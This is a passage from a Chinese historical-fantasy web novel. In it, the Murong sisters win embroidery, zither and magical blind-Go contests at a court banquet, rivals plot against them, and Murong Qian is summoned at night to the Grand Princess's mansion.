慕容浅轻轻按住妹妹肩膀,指尖抚过凤凰羽翼上细密的针脚:“女红不该是枷锁,而是通向天地的路。就像这凤凰,既能静守尊贵,亦可涅槃重生。” 她望向长公主,眼中光芒比绣品上的金线更耀眼,“这,便是我慕容家女儿的答案。” 长公主萧茵茵转动着羊脂玉扳指,凤目在两幅绣品间来回逡巡。 她指尖划过柳如棠的《金翎栖棠图》,孔雀尾羽上的珍珠随动作轻颤,发出细碎声响。 “缠枝绣针法精妙,配色华贵,可见柳家女功底深厚。” 她忽然一声,“但满京城的贵女都在绣孔雀,再精巧的手艺,看多了也是匠气十足。” 话音未落,她已起身走向慕容玉的《丹凤栖梧图》。 当指尖触碰到凤凰尾羽上燃烧般的金线时,长公主周身气势陡然一变,仿佛又回到了当年闺中就参与本朝朝堂诡谲风云的时候。 “凤凰涅槃,浴火重生……” 她喃喃自语,凤目与绣品中凌厉的凤眼遥遥相对,“孔雀再美,终究是凡鸟;唯有这凤凰,方能担得起‘仪态万千’四字!” 她转身,广袖扫过满堂震惊的面孔,“本宫判 —— 慕容玉胜!” 英国公夫人率先回过神,锦缎裙裾扫过青砖,快步上前拉住慕容玉的手,“好孩子,老身活了大半辈子,从未见过如此巧思!这失传的绣法,竟被你琢磨透了!” 她眼中泛起欣慰的泪光,“平日里看你文文静静,不想竟有这般坚韧的心性!” 其余贵夫人也纷纷附和,赞叹声此起彼伏。 窦娇娇面色苍白如纸,柳如棠更是咬着嘴唇,指甲深深掐进掌心。而慕容玉只是微微福身,声音轻柔却坚定:“让诸位见笑了,小女不过是痴迷女红,想尽己所能,让这失传的技艺重见天日。” 绣架被缓缓推出庭院时,外院等候的公子爷们早已按捺不住好奇。 这次慕容家与上京贵女的琴棋书画之争已是轰动上京,所以内院评点后绣品被送到外院进行展示,以示公允。 英国公世子萧承霁正百无聊赖的把玩折扇,周遭世家公子们围着他哄笑,礼部侍郎家的次子挤眉弄眼:“承霁兄这回可要收心了!听说令堂在海棠宴上,一眼相中慕容家二房的姑娘!” “可不是?” 另一人摇着洒金折扇凑过来,“再过些日子怕是要喝承霁兄的定亲酒了,以后可没功夫带我们去勾栏听曲儿咯!” 萧承霁嗤笑一声,折扇 “唰” 地展开,扇面上的狂草《将进酒》随着动作猎猎作响:“你们当我是圈养的金丝雀?母亲看中的人,莫不是又一个整日捧《女诫》、三句话离不开针黹女红的木头?” 他挑眉扫过众人,桃花眼里满是戏谑,“要我娶个循规蹈矩的大家闺秀,不如让我去军营再吃三年风沙!” 众人皆知英国公府嫡长子萧承霁,自幼随父出入军营,弓马骑射样样精通,却偏爱混迹市井,听评书、玩杂耍、与人斗蛐蛐,连宫中太傅都笑称他是 “京城第一荒唐贵公子”。 他最厌恶世家大族的繁文缛节,常以 “江湖浪子” 自居。 旁人苦读圣贤书,他却遍览奇闻异志,对机关巧术、江湖秘术尤为痴迷。 每当母亲提及议亲之事,他便摇着折扇调笑:“强扭的瓜不甜,若是靠媒妁之言定姻缘,倒不如去街边随便抓个乞丐成亲来得有趣!” 惹得英国公夫人又气又笑。 正说着,绣架被抬出垂花门。 萧承霁本懒洋洋半阖着眼,却在瞥见素绢滑落的刹那猛地坐直身子。 素白缎面上,金凤凰静立牡丹间,凤目微眯的凌厉传神。 当转动绣架,背面的凤凰骤然展翅,尾羽间燃烧的金线似要冲破绸缎,他手中折扇 “啪嗒” 坠地,惊起廊下白鸽。 “这…… 这等神作……” 有人喃喃出声。 萧承霁却盯着绣品中浴火重生的凤凰,喉结滚动。 他忽然想起自己曾在边塞见过的燎原之火,此刻竟在一幅绣品中重现。 周遭的议论声渐渐模糊,他弯腰拾起折扇,指尖无意识摩挲着扇骨,唇角勾起一抹连自己都未察觉的笑意。 看来这慕容家的姑娘,远不是他想象中那般无趣。 内院花厅中,窦娇娇猛地转身,瞪着慕容笙,眼底翻涌着不甘的怒火,“这就是你说的,慕容家姊妹都是平庸之辈,掀不起风浪?” 她尽量压低嗓音,还是控制不住脾气,“结果倒好,慕容玉那丫头竟使出失传的双面绣!你和她是一家人你不知道?你当我是傻子!” 慕容笙慌忙赔笑,袖中的手攥的死紧:“郡主息怒!这……这必是慕容玉那贱人平日里偷偷苦练,故意藏拙!她分明就是想扮猪吃老虎,好让咱们栽个大跟头!” 她手掐着花瓣,眼底闪过阴鸷,“怪我有眼无珠,竟没看穿她的心机!” 忽听得院外环佩轻响,窦娇娇抬眼瞬间,黯淡的眸光骤然发亮。 月洞门外,一袭素白广袖如流云漫卷,宋之问怀抱古朴古琴款步而来,晨光穿透她薄如蝉翼的衣袂,将周身晕染出层叠虚影,恍若画中谪仙踏云而至。 “宋姑娘!” 窦娇娇疾步上前,亲热的拉住她,压低声音道,“就看你这一局了!” 宋之问却恍若未闻,苍白指尖轻抚琴身断纹,墨色瞳仁沉静如深潭,唯有怀抱的焦尾琴弦随着步伐轻晃,发出细微清鸣。 “宋之问的师父可是终南山听松先生,那可是连先帝都三顾茅庐的琴圣!”窦娇娇故意高声 她垂眸跨过门槛时,广袖扫落廊下铜铃,叮咚声与远处燕雀啼鸣交织。 众人这才看清,她素衣未着半分纹饰,乌发仅用一根檀木簪松松绾起,倒像是刚从云雾深处踏月而来,周身萦绕着拒人千里的疏离。 第59章 奏琴 “这便是听松先生的高徒?” 长公主转动羊脂玉扳指,凤目掠过宋之问怀中古琴,“听闻九霄环佩现世,今日倒要开开眼。” 宋姑娘爱琴如命,每次抚琴前必要斋戒三日。” 窦娇娇刻意提高声调,看着慕容雪的目光满是挑衅,“今日为了这场比试,她天未亮便焚香沐浴,连琴弦都用朝露擦拭过三遍!” 人群中顿时响起一阵窃窃私语。 “难怪宋姑娘气质如此出尘,原来是名师高徒!” “听说她的《广陵散》能弹出魏晋风骨,今日总算能一饱耳福了!” 随着铜炉中沉水香燃起袅袅青烟,宋之问终于缓步上前。 她先对着古琴深深一拜,才以极慢的速度解开琴囊。 当名琴 “九霄环佩” 展露真容,众人倒抽冷气 —— 琴身断纹细密如蛇腹,龙池凤沼处隐约透着墨色,分明是失传已久的唐代名琴。 焚香、净手、整襟,宋之问每一个动作都带着近乎苛刻的仪式感。 当指尖终于触上琴弦,她周身气息陡然一变,眸光沉静如水,整个人与古琴融为一体。 《广陵散》的第一个音符响起时,仿佛有寒刃出鞘,激昂的琴音如骤雨般倾泻而出,时而如金戈铁马,时而似龙吟深涧。 她指尖翻飞,将《广陵散》的悲壮苍凉演绎得淋漓尽致,连廊下悬挂的风铃都随着琴音轻轻震颤。一曲终了,满堂寂静,众人如痴如醉,半晌才爆发出如雷的掌声。 “好!这才是真正的国手!” 长公主抚掌赞叹,眼中难得露出欣赏之色。 窦娇娇得意地瞥向慕容雪:“小丫头,你拿什么跟宋姑娘比?难不成也要弹《广陵散》?” 她本是讥讽,没想到慕容雪竟挺直腰板,声音清脆:“没错,我也弹《广陵散》。” “你疯了?” 窦娇娇不敢相信自己的耳朵,“宋姑娘的《广陵散》已是登峰造极,你这不是自讨苦吃?” 周围贵女也纷纷摇头,有人好心劝道:“慕容姑娘,换首曲子吧,何必在这上面吃亏?” 慕容雪却突然伸手解开发带,一头青丝如瀑布般倾泻而下。她弯腰脱下绣鞋,赤足踩在青砖上,裙摆随意铺散在地,整个人透着一股不羁的洒脱。 “谁说《广陵散》只能有一种弹法?” 她仰起头,眼中闪烁着倔强的光芒。 侯府并没有收藏名琴,故而慕容雪带来的也只是一把普通的琴。 琴被随意的放在草地上,慕容雪盘坐在前就要弹,却见宋之问满脸不可置信的问她,“你就这么直接弹了?在地上?不用净手焚香?” 慕容雪歪着脑袋,杏眼里满是不解:“弹琴而已,为何要这般大费周章?焚香、沐浴、斋戒,难道曲子弹不好,是怪手不干净?” 窦娇娇气得脸色发青,指着她斥道:“竖子安敢辱没雅事!琴乃君子之器,宋姑娘这般郑重,才是对音律的敬重!” “敬重?” 慕容雪小脸涨得通红,“我看书上说,嵇康在刑场上作的《广陵散》,敢问刑场上如何沐浴焚香?他披头散发,对着三千太学生抚琴,那才叫痛快!” 她歪头看着琴弦,忽然咯咯笑起来:“你们看,这琴弦多像山间的溪流!” 话音未落,指尖已重重扫过琴弦。 不同于宋之问肃穆悲壮的曲调,慕容雪的琴声初时如林间雀鸟啁啾,欢快得近乎调皮,忽然间曲调一转,变得激昂奔放,像是少年人在山野间策马狂奔。 随着琴音流淌,慕容雪索性手脚并用,时而拍手击节,时而摇晃着脑袋哼唱。 当弹到高潮处,她干脆躺倒在地,发丝缠上琴弦,脚丫还跟着节奏晃啊晃的,发丝在风中飞扬,宛如嵇康当年 “目送归鸿,手挥五弦” 的洒脱。 庭院里的麻雀被惊得扑棱棱乱飞,却又被这奇异的琴声吸引,绕着廊下盘旋。 最惊人的是,不知从何处飞来一只画眉,竟落在她翘起的脚尖上,歪着脑袋打量这个古怪的弹琴人。 慕容雪忽然伸出指尖,歪头朝着停在脚边的画眉鸟晃晃:“小家伙,要不要一起玩?” 那画眉鸟像是听懂了般,扑棱棱振翅跃上她手尖,尾羽扫过她掌心,痒得她咯咯直笑。 不等众人反应,她已托着画眉鸟轻轻放在琴弦上。 指尖拨动的刹那,清越的琴音如溪流奔涌而出,画眉鸟竟随着音律低头啄弄琴弦,细小的爪子在丝弦上跳跃,发出细碎的 “笃笃” 声。 一人一鸟时而对视歪头,时而同时加快节奏,慕容雪笑得前仰后合,琴音也愈发欢脱肆意,惊得满院麻雀跟着盘旋鸣叫。 众人皆被眼前一幕惊得目瞪口呆,长公主萧茵茵望着这荒诞又奇妙的一幕,忽而想起《列子·汤问》中 “瓠巴鼓琴而鸟舞鱼跃” 的记载,凤目泛起微光:“至乐无声兮,而天地和同。世人总道琴艺贵在规矩,却不知真正的天籁,原是这般浑然天成!” 她眼神扫过满脸震惊的窦娇娇与宋之问,“今日这人鸟和鸣之景,莫说宫廷乐坊,便是翻遍古籍,怕也寻不出第二幅!” 随着最后一个音符消散,画眉鸟扑棱棱飞回树梢。 慕容雪跪坐在满地琴弦与落英之间,乌发凌乱,裙摆沾尘,却笑得比春日的朝阳还要灿烂。 她仰起小脸看向长公主:“公主殿下,我就说嘛!弹琴不用那么多讲究,开心才最重要!” 窦娇娇张大了嘴,却说不出话来。宋之问脸色苍白,怔怔望着琴弦,第一次对自己的琴艺产生了怀疑。 第二局既然是慕容雪获胜,她兴奋的奔回慕容浅身边,像个得胜归来的大将军,眼睛亮晶晶的等着夸奖。 慕容浅倒了杯茶给她,又用手梳理好她未乱的头发,“嗯,你很棒。” 慕容雪心满意足的嘿嘿笑,看向众人,“你们没想到我们会赢吧,平时都是高高在上看不起人的样子,结果输了吧。” 窦娇娇都快把慕容笙的手掐破了,慕容笙低着头不敢作声。 她也没想到,平时根本没有放在眼里的二房的两个女儿,居然会有如此出色的表现。 第60章 盲棋 秦氏面沉如水,目光不住在慕容玉和慕容雪的身上打转,不知在盘算着什么。 葛氏挺身上前,将两个女儿护在自己身后,隔断秦氏的目光。 近日的葛氏不再是平日里唯唯诺诺的模样,而是挺直了脊背,高傲的回视着秦氏,仿佛在说我的女儿们就是很优秀,但是也别想有人打什么坏主意。 侯府女眷之间的暗潮交锋暂且不提,众位贵女都目露沉思,接连两场失利大大冲击了她们的信心,不知道接下来的第三局棋局又该如何。 长公主指尖叩击扶手,廊下顿时鸦雀无声:“盲棋规矩,传令官报棋,棋手口述应招,错一步、迟十息,皆为败!” 慕容浅望着棋盘,忽而勾唇轻笑,梨涡若隐若现:“寻常棋局困于尺牍之间,今日海棠盛放,何不换个下法?” 话音未落,她指尖凝出一缕莹白玄力,轻轻点向身侧的海棠花盆。 刹那间,整座庭院的海棠树同时发出清鸣,虬曲枝干如活物般舒展,缀满花苞的枝桠相互交错,在半空编织成纵横十九道的天然棋盘。 娇艳的海棠花瓣簌簌飘落,在空中凝成半透明的棋子虚影,馥郁花香化作细密符文,在棋盘四周流转明灭。 “孟小姐请。” 慕容浅广袖轻扬,玄力如涟漪荡开。 首局,孟青执黑率先落子:“天元镇中,占星位。” 西侧花树突然剧烈震颤,胭脂红花瓣悬浮而起,在空中凝成黑子,“啪” 地落在星位。 慕容浅垂眸片刻:“小目挂角,小飞应。” 话音刚落,东侧花盆里的海棠枝桠应声摆动,粉白花瓣聚作白子,以 “高挂” 之势轻巧落下。 内院廊下盲棋激斗正酣,外院青石坪上,小厮们举着棋子奔忙如穿梭。 内院每走一步棋,小厮们都立刻通传出来,在外院棋局上复原。 紫檀棋案前,二十余位贵公子屏息围观,英国公世子萧承霁摇着折扇的手顿在半空,裴子慕转动轮椅垂眸看向棋局, 这看似寻常的开局,实则已暗藏三路变化。 十手过后,孟青突然变招:“二五侵分,试应手。” 慕容浅不假思索:“尖顶阻渡,托退定式。” 两人应答如流,传令官几乎跟不上节奏,满园花树穿梭,令人眼花缭乱。 窦娇娇攥着帕子冷笑:“不过是抢攻罢了,且看孟小姐如何破局!” 第二局,孟青以 “双飞燕” 开局,慕容浅却出人意料地选择 “点三三” 活角。 孟青瞳孔微缩,这是以实地换外势的激进招法,稍不留神便会满盘皆输。 她沉吟五息:“外扳封锁,长气争先。” 慕容浅立刻回以 “扭十字”,两人在右上角展开激烈劫争,传令官的声音都染上了紧张。 随着棋局推进,玄力牵引下的花树愈发灵动。 每当落子,对应方位的海棠便会绽放新芽,嫩绿藤蔓托起花瓣棋子精准移动。 棋势胶着时,满院花枝疯狂生长,粗壮的藤蔓在空中交织成穹顶,遮蔽天光。 第三局甫始,局势陡变。 慕容浅接连祭出 “大飞守角”“拆边” 等缓手,孟青眼中闪过狐疑,试探性地 “肩冲” 侵消。 慕容浅竟以 “尖冲” 软弱应对,这明显失准的一招,引得满堂哗然。 窦娇娇拍手大笑:“瞧!连出昏招!” 孟青却不敢大意,落子愈发谨慎:“打入,分断白棋。” 慕容浅 “小飞” 勉强阻拦,孟青趁机 “尖冲”,试图将白棋一分为二。 外院,传令官刚报出 “白棋大飞守角”,这明显失准的缓手,让棋盘上黑棋如蛟龙出海,直插白阵腹地。 “孟青这手‘肩冲’妙极!” 户部侍郎之子重重拍案,震得棋子乱颤,“慕容浅连出三步昏招,怕是撑不过十手!” 众人纷纷附和,唯有裴子慕垂眸凝视棋盘,衣服上的螭纹随着他的呼吸微微起伏。 “王爷可是看出了门道?” 萧承霁挑眉斜睨,折扇轻点棋盘上黑棋的攻势,“这白棋处处退让,分明是溃不成军。” 裴子慕修长的手指抚过轮椅扶手,声音低沉如寒潭:“你们只看到黑棋锋芒毕露,却看不见白棋在边角埋下的暗桩。” 他指尖划过棋盘右下角,“二十手前的‘大飞守角’,看似失势,实则……” 话未说完,内院突然传来惊呼。 传令官狂奔而出,面色涨红:“白棋点三三!侵入黑角!” 贵公子们顿时炸开了锅。窦家兄长扯着嗓子嚷道:“疯了!这不是自投罗网?” 萧承霁折扇 “啪” 地合上,目光却不由自主转向裴子慕 。 只见摄政王唇角勾起一抹若有若无的笑意,苍白的指尖无意识摩挲着轮椅上的扶手,仿佛早已预见这一步。 随着 “跨断”“枷吃” 等杀招接连报出,棋盘上的局势陡然逆转。 萧承霁倒抽一口冷气,转头看向裴子慕:“你……早就料到她在诱敌?” 裴子慕望着虚空中逐渐成型的杀局,眸光幽深如古井:“真正的棋手,落子从不是为了眼前得失。” 他的声音轻得如同叹息,却字字如重锤砸在众人心头,“慕容姑娘看似步步退让,实则以退为进,将孟青的杀心化作绞索……” 身在棋局中的孟青后背满是冷汗 —— 原来那些 “缓手”“昏招” 皆是诱饵! 她仓促 “虎补”,却见慕容浅 “跨断” 切断黑棋联络,紧接着 “枷吃” 一子,将局势彻底逆转。当传令官颤抖着报出 “白棋双飞燕,分断两边” 时,孟青喉头发苦,脚下一个踉跄险些跌倒。 “盘渡,破眼。” 慕容浅的声音平静如水,却如重锤砸在孟青心头。 这看似简单的两步棋,竟将她苦心经营的 “大龙” 逼入绝境。 随着 “扑劫”“紧气” 等杀招接连报出,传令官声音发颤:“黑棋大龙无眼,全盘皆输!” 最后一枚花瓣落定,整座花阵轰然消散,化作漫天绯色花雨。 慕容浅足尖轻点,落在满地海棠之中,发丝未乱分毫。 孟青神色恍惚,低声道:“我……输了。” “以花为子,以天地为枰,这才是海棠宴该有的棋局。”长公主抚掌大笑, “孟青,你输的不是棋艺,是这女子比你更懂 —— 真正的胜负,从不在棋盘之 第61章 请柬 长公主斜倚在榻上,摇着团扇若有所思的打量着慕容家的三姐妹。 谁能料到今年的海棠宴上,慕容浅和慕容玉、慕容雪能异军突起,拔得头筹。 尤其是慕容浅,不光容貌尤胜当年的江语嫣,还有一身出神入化的道法,倒是京中贵女中的独一份。 那一番关于女子出路的言论,既大胆又有蛊惑性,莫名的很对她的胃口。 她望着眼前三个神态各异的少女,凤目含笑:“今日这场海棠宴,倒成了你们慕容家的天下。三日后本宫府上举办马球宴,慕容浅,本宫倒想看看你还有什么新花样。” 随行的女官将请柬塞到慕容浅、慕容玉、慕容雪手中,慕容玉和慕容雪激动的小脸发红,慕容浅则带着她们两大方行礼。 送出请柬后,长公主意兴阑珊的打了个哈欠,对接下来的海棠宴丝毫提不起兴趣了,所以率先起驾。 众人恭送她离开,席间的气氛又跟之前不一样了。 英国公夫人率先上前,握住慕容玉的手:“我早说你是个好孩子,没想到竟有如此的能耐和毅力,真叫我越看越喜欢。改日定要请你到府上,教教我那几个不成器的丫头。” 其他贵夫人也纷纷围拢过来,七嘴八舌地夸赞。 “慕容雪姑娘小小年纪,琴艺竟如此出神入化,真是后生可畏!” “浅姑娘这一手盲棋,连孟小姐都甘拜下风,真是令我们大开眼界!” 众人的目光与笑意都围绕着三姐妹,唯有慕容笙被挤在角落,无人问津。 她攥着帕子的手微微发抖,强装出的笑容几乎维持不住。 窦娇娇站在廊下,脸色阴沉得可怕。 她将慕容笙拉到角落,指甲几乎掐进对方手臂,慕容笙吃痛却不敢躲,只能任由她拉着。 窦娇娇眼睛都要冒出火来,“好啊,你们合起伙来耍我!平日里装得唯唯诺诺,关键时刻倒藏得严实!” 她压低声音,眼中满是怒意,“若不是你信誓旦旦说她们平庸,我岂会落得如此下场?” 慕容笙着急想要辩解,却被窦娇娇狠狠甩开:“别以为我不知道你打的什么主意!从今日起,休要再提与我交好的话!” 窦娇娇转身欲走,慕容笙踉跄着扑上前,跪在地上拉住窦娇娇的裙角,今日她已被排挤在侯府女眷之外,不能再失去唯一的靠山。 “郡主且慢!” 她死死攥住对方绣着金线的裙角,珍珠耳坠在夜风里摇晃如泪,“我对郡主的忠心日月可鉴!平日里我事事以您为先,您吩咐的事情我每件都是尽心尽力的办好……” “忠心?” 窦娇娇猛地转身,护甲擦着慕容笙脸颊划过,“忠心就是看着你那几个姐妹出尽风头,却瞒着我她们的本事?” 她居高临下地睨着跪在青砖上的人,眼角泛着冷光,“今日宴上,我被那三个贱人踩在脚下,全拜你所赐!” 慕容笙额头贴地,声音带着哭腔:“是我有眼无珠!二房那几个向来藏得深,我……我也是今日才知道她们的底细!” 她突然膝行几步,抓起窦娇娇的手腕,“郡主再信我一次!我愿做您的刀,做您的眼,只要……只要您别抛下我……” 廊外海棠树沙沙作响,几片残花落在慕容笙颤抖的背上。 窦娇娇冷哼一声,抽回手用帕子反复擦拭,仿佛沾了脏东西:“那好,我就再给你一次机会,马球宴的请柬我想办法弄一张给你。” 她蹲下身捏住慕容笙下巴,强迫对方与自己对视,“但你得给我拿出点真本事 —— 要么让慕容浅当众出丑,要么……” 她指尖划过慕容笙惊恐的眉眼,“我就把你那些见不得人的秘密抖搂出来。” 慕容笙瞳孔骤缩,冷汗浸透后背。 她忙不迭点头,发髻上的流苏撞得额头生疼:“我一定办妥!郡主想要她们如何,我便如何!” 窦娇娇嫌恶地甩开手,起身整理裙摆:“记住,只有跟着我,你这个侯府大小姐的身份才能坐实。” 她转身时,金丝绣着牡丹的裙裾扫过慕容笙脸颊,留下一道红痕,“三日后,我要看到你的本事。” 望着窦娇娇远去的背影,慕容笙瘫坐在地上。 夜风卷起她鬓边的碎发,露出眼底疯狂又恐惧的光。 她死死咬住下唇,在血腥味中低声呢喃:“我不能输……绝不能输……” 晚间,侯爷慕容延来到秦氏的院里歇息,一进门就听到一声哭腔。 “父亲!” 慕容生突然踉跄着扑到侯爷膝前,珍珠耳坠随着动作摇晃,“女儿今日在宴上,连句话都插不上……” 她哽咽着扯住父亲衣袖,“姐姐们只顾着出风头,全然忘了还有我这个妹妹!” 秦氏适时地落下两行泪,绢帕按在眼角:“老爷,浅丫头和玉丫头、雪丫头串通一气,在宴上抢尽风头,却将笙儿晾在一旁。长公主的帖子独独漏了她,这不是打咱们侯府的脸吗?” 她顿了顿,声音压低,“还有摄政王的婚事……宫里究竟是个什么意思?” 侯爷眉头紧皱,有些不耐烦的看着慕容笙,“你自己技不如人怪的了谁,长公主那个性子,她看中的人谁敢说个不字,连圣上都对她容让三分。” 慕容笙委屈的哭泣,“女儿平日里只在家安心伺候父亲和母亲,哪像姐姐在道观十年,既不用学侯府规矩,还有时间学了一身旁门左道。” 秦氏拉了一下她,“哪有说自己姐姐旁门左道的,叫人听去像什么样子,就算是真的,咱们也只能打落牙齿往肚里吞,不能丢了侯府脸面。” 她自然是比慕容笙要成熟一些,知道一味的在慕容延面前诋毁慕容浅是没用的,没人喜欢别人对自己亲生的女儿评头论足,哪怕这个女儿他也并不关心。 他关心的是侯府的名声,是自己的升迁之路。 秦氏温柔的给慕容延捶肩,眼中闪过算计,“浅丫头得了长公主赏识也是好事?如果能通过长公主把她许给摄政王,既顺了陛下的心意,又对侯府大有裨益。” 她瞥了眼低头啜泣的女儿,“笙笙日后说亲,也能抬高点身价。毕竟有个嫁给摄政王的姐姐,旁人也不敢轻慢。” 第62章 管事 慕容笙适时地抬起泪眼,楚楚可怜:“女儿不敢奢求什么,只盼父亲别因为女儿无用,冷落了母亲……” 侯爷叹了口气,挥退左右。 月光透过窗棂洒进来,映得他脸上的阴影忽明忽暗。 良久,他沉声道:“明日我进宫一趟。摄政王的婚事岂是你我可以做主的,关键还要看宫里的意思……不过浅儿若是可以嫁过去,倒也不失为一条好出路……” 他没有说完,秦氏却已心领神会,嘴角勾起一抹不易察觉的冷笑。 秦氏娇媚的上前,给慕容延打扇,又是一顿侯爷英明神武,侯爷最姑息妾身和笙儿,把慕容延哄得眉开眼笑。 慕容笙自然是在旁边扮演孝女,一会给慕容延端茶,一会给慕容延捶肩,母女两把个慕容延哄得团团转。 一家三口正其乐融融,急促的脚步声已从门外传来。 侯府管家快步奔进院子,额角沁着冷汗:“侯爷!长公主府的王大管事来了,带了四名带刀侍卫堵在前厅!” 侯爷握着翡翠扳指的手骤然收紧,檀木椅发出吱呀声响:“胡说!长公主下午才从侯府起驾,怎会掌灯了又派人来……” 管家急得直搓手,“侯爷,真是王大管事,小的不敢扯谎,您看出去看看吧。” 慕容延想动脚又止住,沉思,“如此阵仗,莫不是侯府谁人得罪了长公主?” 秦氏上前,“ 长公主来侯府,妾身们不敢怠慢,可都是一步都不敢行错的,只要浅丫头胆大包天,您是没听到她说的那些疯话……” 她转转眼珠,“没准长公主表面上不好斥责,回去后越想越气,才派人上门问罪?怪侯府没有教育好浅丫头?” 慕容延脸色难看起来,但又思索,“应该不会吧,如果长公主真的归罪的话,又怎么会临走时下了请柬呢?” 他们百思不得其解,管家可是急得像热锅上的蚂蚁,忍不住上前,“侯爷,夫人,到底是怎么回事您到前厅疑问便知,您知道的那王大管事是从宫里出来的,平日里连京兆尹都不放在眼里,上次为了抢一盆罕见的并蒂莲,当街掀翻了御史中丞家的马车,事后不光轻飘飘一句长公主府用度,连宫里都未置一词,您现在让他等着……” 话未说完,秦氏也有些慌:“侯爷莫急,既是长公主的人,咱们怠慢不得,您还是快去吧。” 是福不是祸,是祸躲不过。 慕容延一跺脚,疾步跟着管家往前厅走去。 前厅烛火摇曳,只见王大管事身着玄色锦袍端坐在太师椅上,身后肃立着四名带刀侍卫。 那王大管事年纪约五旬上下,尖削的下颌蓄着几缕稀疏的胡须,脖颈处松弛的皮肉堆叠如褶皱的枯叶,唯有一双三角眼精光灼灼,扫过厅中众人时,带着毒蛇吐信般的阴鸷。 慕容延疾步上前,老远就堆起笑拱手,“什么风把您老吹来了,有什么事喊小厮们来吩咐一声就是,何必劳大管事走一趟?” 王大管事似笑非笑的朝侯爷拱拱手,“侯爷贵人事多,叫咱家好等。” 慕容延连忙赔礼,“丫鬟们来报,说老夫人身上不太爽快,请了医生来问诊,下人们没敢通报。方才我刚送走医生,他们才回禀说您来了,这不,我立刻就赶来了。” 说罢他皱眉训斥跟在后面的管家,“虽然我正在伺候老夫人,但公主府的王大管事是何人,该早早来报才是,下回再敢拖延,打断你们的狗腿!” 管家扑通跪地,叩头不止,“都怪小的,见侯爷在老夫人处,没敢打扰,小的该死,侯爷饶命!大管事饶命!” 王大管事这才拱手,“侯爷万安!我家殿下特意差咱家来请慕容小姐过府一叙。” “请慕容小姐?” “正是,侯府嫡女,慕容浅慕容小姐。” 慕容延眉头拧成川字,小心翼翼陪笑,“不知殿下召见小女,有何事,可是小女言行无状,冒犯了殿下?” 王大管事摇摇头,“殿下只说与小姐一见如故,有事相商,至于何事咱家不知。” “可是天色已晚,不如等明天,我亲自送小女前去……” 王大管事摆摆手,指着四名带刀侍卫,“殿下担心小姐安全,特意拨了侍卫护送,还请侯爷快快将小姐请出,咱家好回去复命。” 他三角眼里射出精光,声音低沉下来,“侯爷,殿下在海棠宴上瞧中小姐的才学,想留她用个晚膳,讨教些诗词。这也是小姐的造化,侯爷怎么推三阻四的。” 屏风后面传来几声轻咳,秦氏带着丫鬟从屏风后转出来,王大管事是个阉人,秦氏倒也没什么好避讳的。 她笑着向王大管事福了福身:“侯爷,长公主这般郑重其事,必是惜才心切,侯爷还不快将大姑娘请出来,免得让殿下和大管事久等。” 私下她扯扯侯爷的衣袖,低声道,“这悄无声息的邀约,倒省了外头闲言碎语。便是有些风吹草动……” 她眼角余光撇了正在喝茶的王大管事一眼,意味深长道:“便是遇到什么事,也传不出去,损不了侯府名声。” “可是公主府里……”慕容延还是有些犹豫,想起坊间传闻长公主府夜夜笙歌、男宠成群的奢靡景象。 “侯爷今日若驳了长公主的面子……”秦氏故意顿住,瞥见侯爷攥紧的拳头,“往后侯府在朝堂,可就寸步难行了!” 侯爷摩挲扳指的动作一顿,最终重重叹了口气:“去叫浅儿收拾一下,随王大管事走一趟吧。” 马车碾过青石板路的颠簸声里,王大管事三角眼微微眯起,手指有一下没一下叩着车壁:“慕容小姐这手盲棋出神入化,又能驭花成阵,莫不是得了高人指点?” 慕容浅端坐车内,目不斜视:“我自幼在青山观长大,家师乃是元起道长。” “元起?!” 王大管事目露诧异,脖颈赘肉跟着颤动:“可是那位能卜生死、断天机,传说用一枚铜钱就能断出三日后暴雨的元起真人?” 第63章 入府 慕容浅垂眸掩住眼底笑意,指尖无意识摩挲着袖中符咒。 所谓 “铜钱断雨”,不过是她提前三日在城外山顶布下聚雨阵;那些被传得神乎其神的奇卦,皆是她借着师傅名头暗中施为。 世人只道元起道长神通广大,却不知真正执笔改命的,是躲在道观丹房里安静画符的小丫头。 “家师的本事,我不过学了皮毛。” 她声音清泠如泉,透过车帘缝隙,隐约可见四名带刀侍卫腰间的佩刀在月光下泛着寒意,“倒是听闻王管事在京中有呼风唤雨的本事,今日一见,果然名不虚传。” 王大管事的三角眼一闪,盯着车帘上映出的少女剪影,忽然尖笑出声:“好个伶俐的丫头!公主殿下这回,倒是寻到了有趣的玩意儿。” 随着他的笑声,马车突然加速,车轮碾过石子的声响,惊起路边树上的寒鸦。 兽首衔环的朱门缓缓开启,慕容浅踏入长公主府时,寒意裹挟着龙涎香扑面而来。 眼前虽是雕梁画栋,却处处透着寂寥。 汉白玉阶上积着薄灰,廊下琉璃灯映着褪色的牡丹幔帐,昔日盛极一时的庭院,如今只余几株残败的芭蕉在风中摇曳。 “莫要乱看。” 王大管事的声音虽带着几分威严,却并无恶意。 他转动着翡翠扳指,三角眼透着一丝无奈,“殿下今日心情不佳,慕容小姐待会儿见了,言语上多担待些。” 说罢,他抬手示意慕容浅跟上,长袍下摆扫过青砖,惊起几只蛰伏的昆虫。 丝竹声从九曲回廊深处飘来,带着几分慵懒与哀伤。 慕容浅抬眼望去,远处水榭灯火通明,隐约可见身着红衣的女子倚在榻上,手中的玉杯轻轻摇晃,琥珀色的酒液在烛光下泛着微光。 来往的下人皆屏息敛声,连衣摆扫过地面的声响都极轻,生怕惊扰了这份静谧。 “府里的事,出了这道门就烂在肚子里。” 王大管事忽然压低声音,语气里带着几分恳切,“殿下看着张扬,实则……罢了,有些事,你见了便知。” 慕容浅轻轻颔首,指尖无意识摩挲着袖中玉镯:“王管事放心,修道之人本就不问俗事。” 她望着远处水榭中女子孤寂的身影,忽然想起青山观后山的老梅树,每到寒冬独自绽放,任风雪吹打,却自有一番风骨。 话音未落,丝竹声骤然转为悲怆,惊起满院寒鸦。 王大管事叹了口气,抬手推开雕花木门:“慕容小姐,请吧。” 门内暖香萦绕,却掩不住空气中那一丝若有若无的血腥味 —— 那是常年饮药留下的气息,慕容浅心中微动,这长公主,怕是有着不为人知的伤痛。 丝竹声裹挟着浓烈的酒香扑面而来。 慕容浅踏入厅堂,只见数十盏琉璃宫灯将室内照得亮如白昼,明黄锦缎铺就的长榻上,长公主萧茵茵斜倚其中,一袭猩红广袖流仙裙曳地,腕间金镯随着举杯的动作叮当作响。 她眼尾的丹蔻艳若滴血,却掩不住眼底化不开的倦意。 殿中歌舞正酣。十二名舞姬身着薄纱,赤足踏在铺满花瓣的青铜盘上,腰肢如蛇般婉转扭动;另有四名男子头戴银冠,手持玉笛,吹奏出缠绵悱恻的曲调。 